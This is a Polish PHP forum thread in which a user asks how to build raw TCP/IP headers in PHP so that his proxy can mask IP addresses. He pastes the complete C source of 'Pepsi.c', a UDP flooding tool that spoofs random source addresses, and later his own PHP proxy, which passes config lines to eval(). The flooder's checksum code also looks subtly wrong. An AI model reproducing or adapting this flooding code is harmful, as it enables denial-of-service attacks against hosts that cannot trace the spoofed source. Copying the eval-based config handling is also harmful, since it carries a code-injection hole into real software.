![]() |
![]() ![]() |
![]() |
![]()
Post
#1
|
|
![]() Grupa: Zarejestrowani Postów: 19 Pomógł: 0 Dołączył: 17.06.2003 Skąd: Konstanci-Jeziorna Ostrzeżenie: (0%) ![]() ![]() |
Jak zbudować nagłówek tcp/ip w php? Wiem jak to zrobić w C, ale chciałbym to w php.
|
|
|
![]()
Post
#2
|
|
![]() Grupa: Przyjaciele php.pl Postów: 398 Pomógł: 0 Dołączył: -- Skąd: Poznań Ostrzeżenie: (0%) ![]() ![]() |
Jakieś szczegóły? php to trochę inny poziom warstwy komunikacyjnej. W jakim celu chcesz budować nagłówek TCP/IP w php?
-------------------- cease this long, long rest / wake and risk a foul weakness to live / when it all comes down / watch the smoke and bury the past again / sit and think what will come / raise your fears and cast them all away
|
|
|
![]()
Post
#3
|
|
![]() Grupa: Zarejestrowani Postów: 19 Pomógł: 0 Dołączył: 17.06.2003 Skąd: Konstanci-Jeziorna Ostrzeżenie: (0%) ![]() ![]() |
Buduję server proxy, potrzebuję zamaskować adres IP.
|
|
|
![]()
Post
#4
|
|
![]() Grupa: Przyjaciele php.pl Postów: 398 Pomógł: 0 Dołączył: -- Skąd: Poznań Ostrzeżenie: (0%) ![]() ![]() |
Piszesz serwer proxy w php? Jesteś pewien, że to dobry pomysł?
-------------------- cease this long, long rest / wake and risk a foul weakness to live / when it all comes down / watch the smoke and bury the past again / sit and think what will come / raise your fears and cast them all away
|
|
|
![]()
Post
#5
|
|
![]() Grupa: Zarejestrowani Postów: 19 Pomógł: 0 Dołączył: 17.06.2003 Skąd: Konstanci-Jeziorna Ostrzeżenie: (0%) ![]() ![]() |
dlaczego, działa całkiem sprawnie.
|
|
|
![]()
Post
#6
|
|
![]() Grupa: Przyjaciele php.pl Postów: 398 Pomógł: 0 Dołączył: -- Skąd: Poznań Ostrzeżenie: (0%) ![]() ![]() |
Kod jest opensource? Mógłbyś podać jakiś namiar gdzie można obejrzeć źródła?
Widzę, że nikt poza mną nie zainteresował się na razie twoim pytaniem. To dość dziwne, bo to ciekawy temat. Skoro wiesz jak zbudować nagłówek w C to kod w php sprowadza się do przetłumaczenia tego co już masz. Udostępnij fragment kodu w C - będzie można się do niego odnieść. -------------------- cease this long, long rest / wake and risk a foul weakness to live / when it all comes down / watch the smoke and bury the past again / sit and think what will come / raise your fears and cast them all away
|
|
|
![]()
Post
#7
|
|
![]() Grupa: Zarejestrowani Postów: 19 Pomógł: 0 Dołączył: 17.06.2003 Skąd: Konstanci-Jeziorna Ostrzeżenie: (0%) ![]() ![]() |
ok zaraz nadeślę
|
|
|
![]()
Post
#8
|
|
![]() Grupa: Przyjaciele php.pl Postów: 1 467 Pomógł: 13 Dołączył: 22.02.2003 Ostrzeżenie: (0%) ![]() ![]() |
hehe, racja dragossani. Zresztą temat serwerów w php sam już poruszałem. Również chciałbym coś takiego zobaczyć. Aha, i jestem ciekawy w jaki sposób odczytujesz dane przekazane przez użytkownika i jak na nie odpowiadasz (readline, print, czy jak??), bo ten problem mnie już dawno męczy.
|
|
|
![]()
Post
#9
|
|
![]() Grupa: Zarejestrowani Postów: 19 Pomógł: 0 Dołączył: 17.06.2003 Skąd: Konstanci-Jeziorna Ostrzeżenie: (0%) ![]() ![]() |
server komunikuje się na jakimś porcie, po prostu czytac z okreslonego portu, aby dowiedzieć się jaki jest IP klienta wystarczy wywołać funkcję
socket_getpeername($clisock, $IP); w zmiennej $IP jest adres klienta. Mnie osobiście interesuje budowanie nagłówków tcp/ip. |
|
|
![]()
Post
#10
|
|
![]() Grupa: Zarejestrowani Postów: 19 Pomógł: 0 Dołączył: 17.06.2003 Skąd: Konstanci-Jeziorna Ostrzeżenie: (0%) ![]() ![]() |
W C wygląda to tak że są odpowiednie struktury danych nagłówków IP, TCP. Poprostu wypełnia się je i wysyła. Struktury te są zdefiniowanie w plikach
<netinet/ip.h> <netinet/tcp.h> <arpa/inet.h> <netinet/udp.h> zamieszczam przykładowy program w C wykorzystujacy budowę nagłówków. Program nazywa się PEPSI i jest popularnym programem do przeciążąnia systemów tzn "flooding", używany przez hakerów. Kod #define FRIEND "My christmas present to the Internet -Soldier"
#define VERSION "Pepsi.c v1.7" #define DSTPORT 7 #define SRCPORT 19 #define PSIZE 1024 #define DWAIT 1 /* * Inkludy */ #include <fcntl.h> #include <syslog.h> #include <unistd.h> #include <stdlib.h> #include <string.h> #include <netdb.h> #include <netconfig.h> #include <stdio.h> #include <sys/types.h> #include <sys/socket.h> #include <netinet/in.h> #include <netinet/in_systm.h> #include <netinet/ip.h> #include <netinet/tcp.h> #include <arpa/inet.h> #include <signal.h> #include <netinet/udp.h> #include <string.h> #include <pwd.h> /* * Baner. */ void banner() { printf( "ttt%s Author - Soldier n", VERSION ); printf( "ttt [10.27.97] nn" ); printf( "This Copy Register to: %snn", FRIEND ); } /* * Deklaracje opcji. */ struct sockaddr_in dstaddr; unsigned long dst; struct udphdr *udp; struct ip *ip; char *target; char *srchost; int dstport = 0; int srcport = 0; int numpacks = 0; int psize = 0; int wait = 0; void usage(char *pname) { printf( "Usage:n " ); printf( "%s [-s src] [-n num] [-p size] [-d port] [-o port] [-w wait] <dest>nn", pname ); printf( "t-s <src> : source where packets are coming fromn" ); printf( "t-n <num> : number of UDP packets to sendn" ); printf( "t-p <size> : Packet size [Default is 1024]n" ); printf( "t-d <port> : Destination port [Default is %.2d]n", DSTPORT ); printf( "t-o <port> : Source port [Default is %.2d]n", SRCPORT ); printf( "t-w <time> : Wait time between pkts [Default is 1]n" ); printf( "t<dest> : Destinationn" ); printf( "n" ); exit(EXIT_SUCCESS); } /* * Kod sumy kontrolnej, original by Soldier. */ unsigned short in_cksum(u_short *addr, int len) { register int nleft = len; register u_short *w = addr; register int sum = 0; u_short answer = 0; while (nleft > 1 ) { sum += *w++; sum += *w++; nleft -= 2; } if (nleft == 1) { *(u_char *)(&answer) = *(u_char *)w; sum += answer; } sum = (sum >> 17) + (sum & 0xffff); sum += (sum >> 17); answer = -sum; return (answer); } void main(int argc, char *argv[]) { int sen; int i; int unlim = 0; int sec_check; int opt; char *packet; struct hostent *host = NULL; unsigned long a; /* * Rozpoczynamy od banera. */ banner(); /* * Opcje debugowania. */ openlog( "PEPSI", 0, LOG_LOCAL5 ); if (argc < 2) usage(argv[0]); while ((opt = getopt(argc, argv, "s:d:n:p:w:o:")) != EOF) { switch(opt) { case 's': srchost = (char *)malloc(strlen(optarg) + 1); strcpy(srchost, optarg); break; case 'd': dstport = atoi(optarg); break; case 'n': numpacks = atoi(optarg); break; case 'p': psize = atoi(optarg); break; case 'w': wait = atoi(optarg); break; case 'o': srcport = atoi(optarg); break; default: usage(argv[0]); break; } if (!dstport) { dstport = DSTPORT; } if (!srcport) { srcport = SRCPORT; } if (!psize) { psize = PSIZE; } if (!argv[optind]) { puts( "[*] Specify a target host, doof!" ); exit(EXIT_FAILURE); } target = (char *)malloc(strlen(argv[optind])); if (!target) { puts( "[*] Agh! Out of memory!" ); perror( "malloc" ); exit(EXIT_FAILURE); } strcpy(target, argv[optind]); } memset(&dstaddr, 0, sizeof(struct sockaddr_in)); dstaddr.sin_family = AF_INET; dstaddr.sin_addr.s_addr = inet_addr(target); if (dstaddr.sin_addr.s_addr == -1) { host = gethostbyname(target); if (host == NULL) { printf( "[*] Unable to resolve %stn", target ); exit(EXIT_FAILURE); } dstaddr.sin_family = host->h_addrtype; memcpy((caddr_t) &dstaddr.sin_addr, host->h_addr, host->h_length); } memcpy(&dst, (char *)&dstaddr.sin_addr.s_addr, 4); printf( "# Target Host : %sn", target ); printf( "# Source Host : %sn", (srchost && *srchost) ? srchost : "Random" ); if (!numpacks) printf( "# Number : Unlimitedn" ); else printf( "# Number : %dn", numpacks ); printf( "# Packet Size : %dn", psize ); printf( "# Wait Time : %dn", wait ); printf( "# Dest Port : %dn", dstport ); printf( "# Source Port : %dn", srcport ); /* * Otwarcie gniazda. */ sen = socket(AF_INET, SOCK_RAW, IPPROTO_RAW); packet = (char *)malloc(sizeof(struct ip *) + sizeof(struct udphdr *) + psize); ip = (struct ip *)packet; udp = (struct udphdr *)(packet + sizeof(struct ip)); memset(packet, 0, sizeof(struct ip) + sizeof(struct udphdr) + psize); if (!numpacks) { unlim++; numpacks++; } if (srchost && *srchost) { if (!(host = gethostbyname(srchost))) { printf( "[*] Unable to resolve %stn", srchost ); syslog( LOG_NOTICE, "Unable to resolve [%s]", srchost ); exit(EXIT_FAILURE); } else { ip->ip_src.s_addr = ((unsigned long)host->h_addr); syslog( LOG_NOTICE, "IP source is [%s]", host->h_name ); } } ip->ip_dst.s_addr = dst; ip->ip_v = 4; ip->ip_hl = 5; ip->ip_ttl = 255; ip->ip_p = IPPROTO_UDP; ip->ip_len = htons(sizeof(struct ip) + sizeof(struct udphdr) + psize); ip->ip_sum = in_cksum(ip, sizeof(struct ip)); udp->uh_sport = htons(srcport); udp->uh_dport = htons(dstport); udp->uh_ulen = htons(sizeof(struct udphdr) + psize); for (i=0; i<numpacks; (unlim) ? i++, i-- : i++) { if (!srchost) { ip->ip_src.s_addr = ((unsigned long)rand()); syslog( LOG_NOTICE, "IP source set randomly." ); } if (sendto(sen, packet, sizeof(struct ip) + sizeof(struct udphdr) + psize, 0, (struct sockaddr *)&dstaddr, sizeof(struct sockaddr_in)) == (-1)) { puts( "[*] Error sending packet." ); perror( "Sendpacket" ); exit(EXIT_FAILURE); } usleep(wait); } syslog( LOG_NOTICE, "Sent %d packets to [%s]", numpacks, target ); } |
|
|
![]()
Post
#11
|
|
![]() Grupa: Przyjaciele php.pl Postów: 1 467 Pomógł: 13 Dołączył: 22.02.2003 Ostrzeżenie: (0%) ![]() ![]() |
Mógłbyś tutaj umieścić sourcy tego proxy, tak z czystej ciekawości.
Co do twojego projektu zawsze można napisać własne rozszerzenie php (w c oczywiście ![]() |
|
|
![]()
Post
#12
|
|
![]() Grupa: Zarejestrowani Postów: 19 Pomógł: 0 Dołączył: 17.06.2003 Skąd: Konstanci-Jeziorna Ostrzeżenie: (0%) ![]() ![]() |
fakt o tym nie pomyślałem. Dzięki.
kod proxy kożysta z trzech plików 1.) czyta konfiguracje 2.) obsługuje wątki (niestsety tylko pod linuxem) 3.) właściwy proxy w takiej kolejności zamieszczam pliki: [php:1:c66766329c]<?php <? class ReadConfFile { var $file; var $var_conf; function ReadConfFile($name_file) { $this->file = $name_file; $this->var_conf = array(); } function read_Config() { $fp = fopen($this->file, 'r'); if($fp){ while(!feof($fp)) { $conf = trim(fgets($fp, 255)); if(substr($conf,0,1) != "#") { array_push($this->var_conf, $conf); }; }; fclose($fp); } else { exit(); }; print date("Y-m-d H:i:s")." CONFIG FILE READn"; foreach($this->var_conf as $var){ print $var."n"; }; } function get_Acces($address, $ip) { $ACCESS = -1; foreach($this->var_conf as $config) eval($config); $H = date('H:i'); $CHD = strtolower(date('l')); $D = explode(",", $DAYES); $HOST = explode(",", $HOST); $IP = explode(",", $IP); if(array_search($CHD, $D) > -1) { $ACCESS = 0; } else { if($HOUR_FROM > $H or $HOUR_TO < $H) $ACCESS = 0; }; if(array_search($address, $HOST) != FALSE || array_search($address, $HOST) > -1) { $ACCESS = 0; }; if(array_search($ip, $IP) != FALSE || array_search($ip, $IP) > -1) { $ACCESS = 0; }; return $ACCESS; } }; ?> ?>[/php:1:c66766329c] [php:1:c66766329c]<?php <? class Thread { var $uid; var $gid; var $pid; function Thread() { pcntl_signal(SIGCHLD, array($this,"sig_handler")); pcntl_signal(SIGTERM, array($this,"sig_handler")); pcntl_signal(SIGINT, array($this,"sig_handler")); $this->uid = 99; $this->gid = 99; } function sig_handler($signo) { switch($signo) { case SIGTERM: exit; break;// handle shutdown tasks case SIGHUP: break;// handle restart tasks case SIGUSR1: print "Caught SIGUSR1...n"; break; case SIGCHLD: while( pcntl_waitpid(-1,$status,WNOHANG) > 0 ) {}; break; case SIGINT: exit; default: /* not implemented yet...*/ break; }; } function start_thread($object, $handler, $time, $arg=array()) { $CH_PID = pcntl_fork(); if($CH_PID == -1) { //not child } elseif ($CH_PID == 0) { //parent } else { if(!posix_setsid()) exit; set_time_limit($time); $this->pid = posix_getpid(); $this->change_identity(); call_user_func(array($object,$handler),$arg); exit; }; exit(); } function change_identity() { if(!posix_setgid($this->gid)) { print "Unable to setgid to $gid!n"; exit; } if(!posix_setuid($this->uid)) { print "Unable to setuid to $uid!n"; exit; }; } }; ?> ?>[/php:1:c66766329c] [php:1:c66766329c]<?php #!/usr/local/bin/php <? require("c_Thread.php"); require("c_ReadConfFile.php"); class proxy_HTTP { var $SERVER_SOCK; var $LOG; function proxy_HTTP() { $this->LOG = 1; if(!extension_loaded('sockets')) dl('php_sockets'); set_time_limit(0); ob_implicit_flush(); $port = 9000; $address = "192.168.254.51"; $this->SERVER_SOCK = socket_create(AF_INET, SOCK_STREAM, 0); socket_set_option($this->SERVER_SOCK, SOL_SOCKET, SO_REUSEADDR, 1); socket_bind($this->SERVER_SOCK, $address, $port); socket_listen($this->SERVER_SOCK, 10); $this->start(); } function start() { $CONFIG = new ReadConfFile("conf"); $CONFIG->read_Config(); do { if(!$this->SERVER_SOCK) $this->proxy_HTTP(); if(($clisock = socket_accept($this->SERVER_SOCK)) > 0) { $BUF = socket_read($clisock, 2048); /* $fs = fopen("url.dat","w"); fputs($fs,$BUF); fclose($fs); break; */ if(trim($BUF) == "kill") { socket_close($this->SERVER_SOCK); break ; }; eregi("HOST:.*",$BUF,$o); $BUFF = substr($o[0],5); $pos = strpos($BUFF,"r"); $address = trim(substr($BUFF,0,$pos)); $address = trim(str_replace("www.","",$address)); socket_getpeername($clisock, $client_ip); $ACCESS = $CONFIG->get_Acces($address, $client_ip); if( $ACCESS > -1) { $thread = new Thread(); $param[0] = $clisock; $param[1] = $BUF; $thread->start_thread($this,'get_connect',20,$param); unset($thread); } else { $BUF2 = $this->info(); socket_write($clisock, $BUF2, strlen($BUF2)); socket_close($clisock); }; } else { break; }; } while (TRUE); socket_close($this->SERVER_SOCK); } function get_connect($arg) { $clisock = $arg[0]; $BUF = $arg[1]; eregi("HOST:.*",$BUF,$o); $BUFF = substr($o[0],5); $pos = strpos($BUFF,"r"); $address = trim(substr($BUFF,0,$pos)); if($this->LOG){ socket_getpeername($clisock, $IP); $arg[0] = $IP; $arg[1] = $address; $arg[2] = "GET"; $arg[3] = strlen($BUF); $this->log($arg); }; //if(eregi("CONNECT",$BUF)) { //$BUF = eregi_replace("https://$address","",$BUF); // $port = 443; //} else { $BUF = str_replace("http://$address","",$BUF); $port = 80; //}; $fps = fsockopen(gethostbyname($address), $port, $errno, $errstr, 15); //$socket = socket_create(AF_INET, SOCK_STREAM, 0); //$stat = @socket_connect($socket, $address, $port); if($fps) { $BUF.="rnrn"; $how_write = strlen($BUF); //$ok = socket_write($socket, $BUF, $how_write); fputs($fps, $BUF, $how_write); //if($ok == $how_write) { $buffer=""; $how_write=0; while(!feof($fps))//$BUF = socket_read($socket, 2048) { //$how_write+= strlen($BUF); $buffer.= fgets($fps,255);//$BUF; $how_write+= strlen($buffer); }; socket_write($clisock, $buffer, $how_write); //}; //socket_close($socket); fclose($fps); } else { $BUF = $this->info(1); socket_write($clisock, $BUF, strlen($BUF)); }; socket_close($clisock); exit(); } function info($typ=0) { switch($typ) { case 0 : $f = fopen('proxy_ERR/index.html','r'); break; case 1 : $f = fopen('proxy_ERR/err.html','r'); break; }; while(!feof($f)) $dat.= fgets($f, 255); fclose($f); $data= "HTTP/1.1 200 OKrnPragma: no-cachernCache-Control: no-cachernContent-Type: text/htmlrnContent-Length: ".strlen($dat)."rnConnection: closern"; return $data.$dat; } function log($arg) { $log = date("Y-m-d H:i:s"). " - IP: ".$arg[0]." OPTION: ".$arg[2]." HOST: ".$arg[1]." SIZE: ".$arg[3]."n"; $f = fopen("proxy_log","a"); fputs($f, $log); fclose($f); } }; new proxy_HTTP; ?> ?>[/php:1:c66766329c] ?>[/php] |
|
|
![]()
Post
#13
|
|
![]() Grupa: Zarejestrowani Postów: 19 Pomógł: 0 Dołączył: 17.06.2003 Skąd: Konstanci-Jeziorna Ostrzeżenie: (0%) ![]() ![]() |
sorry za błędy ortograficzne
|
|
|
![]()
Post
#14
|
|
![]() Grupa: Zarejestrowani Postów: 19 Pomógł: 0 Dołączył: 17.06.2003 Skąd: Konstanci-Jeziorna Ostrzeżenie: (0%) ![]() ![]() |
Ze skryptu można korzystać. Mam tylko jedną prośbę gdy ktokolwiek zmodyfikował, lub dodał coś interesującego to bardzo bym prosił o informację na tem temat.
e-mail : marcin@jazztranslation.com |
|
|
![]()
Post
#15
|
|
![]() Grupa: Zarejestrowani Postów: 19 Pomógł: 0 Dołączył: 17.06.2003 Skąd: Konstanci-Jeziorna Ostrzeżenie: (0%) ![]() ![]() |
do sprawnego dzialania trzeba dodać wywołanie funkcji [php:1:7a2f32c30e]<?php
posix_kill($pid,SIGCHLD); ?>[/php:1:7a2f32c30e] na końcu wywołanej funkcji w sekcji THREAD. |
|
|
![]()
Post
#16
|
|
Grupa: Zarejestrowani Postów: 100 Pomógł: 0 Dołączył: 19.04.2003 Skąd: Wrocław Ostrzeżenie: (0%) ![]() ![]() |
O kurka... niezle - w zyciu bym sie nie spodziewal, ze ktos bedzie cos takiego pisal
![]() |
|
|
![]()
Post
#17
|
|
![]() Grupa: Zarejestrowani Postów: 358 Pomógł: 0 Dołączył: 3.07.2003 Skąd: Szczecin->niebuszewo->*(next to window) Ostrzeżenie: (0%) ![]() ![]() |
Nigdy nie uzywalem TCP/IP bezposrednio w php ale uzywalem HTTP i to w tym protokole wyglada tak:
[php:1:d0ecec1634]<?php $adres="www.google.pl"; $page_adres="/search/index.html"; $port=80; $time_limit=30; set_time_limit($time_limit); if(!extension_loaded('sockets')) dl("php_sockets.dll");// .so jak po unixem $like_file_open=fsockopen($adres, $port, $errorno, $error, $time_limit); if($like_file_open) { fputs($like_file_open, "HEAD " . $page_adres . " HTTP/1.0rnrn"); while(!feof($like_file_open)) $data[]=fgets($like_file_open, 1000); fclose($like_file_open); } else { echo "<br>Błąd: " . $errorno . "<br>". $error; } reset($data); while(list($k , $v)=each($data)) echo "<br>Klucz: ".$k." <br>Wartosc: " . $v; // i tak dalej wszystko tak jak dla pliku do odczytu i zapisu ?>[/php:1:d0ecec1634] moze TCP/IP robi sie analogicznie podajesz rodzaj i wersje protokolu dlaej robisz co chcesz, co prawda zupelnie nie wiem jak wygladaja naglowki w TCP/IP ale moze cos to komus pomoze ![]() |
|
|
![]()
Post
#18
|
|
![]() Grupa: Zarejestrowani Postów: 358 Pomógł: 0 Dołączył: 3.07.2003 Skąd: Szczecin->niebuszewo->*(next to window) Ostrzeżenie: (0%) ![]() ![]() |
Cytat [php:1:324d066f03]
if(!extension_loaded('sockets')) [/php:1:324d066f03] czy przy dynamicznym ladowaniu rozszerzen nie trza podawac rozszerzenia biblioteki .so/.dll ![]() |
|
|
![]()
Post
#19
|
|
![]() Grupa: Zarejestrowani Postów: 358 Pomógł: 0 Dołączył: 3.07.2003 Skąd: Szczecin->niebuszewo->*(next to window) Ostrzeżenie: (0%) ![]() ![]() |
naczy chodzi mi o funkcje dl() a nie extension_loaded()
|
|
|
![]()
Post
#20
|
|
![]() Grupa: Zarejestrowani Postów: 19 Pomógł: 0 Dołączył: 17.06.2003 Skąd: Konstanci-Jeziorna Ostrzeżenie: (0%) ![]() ![]() |
możesz pisać dla dl sama nazwę bez rozszerzen
|
|
|
![]() ![]() |
![]() |
Aktualny czas: 19.08.2025 - 12:22 |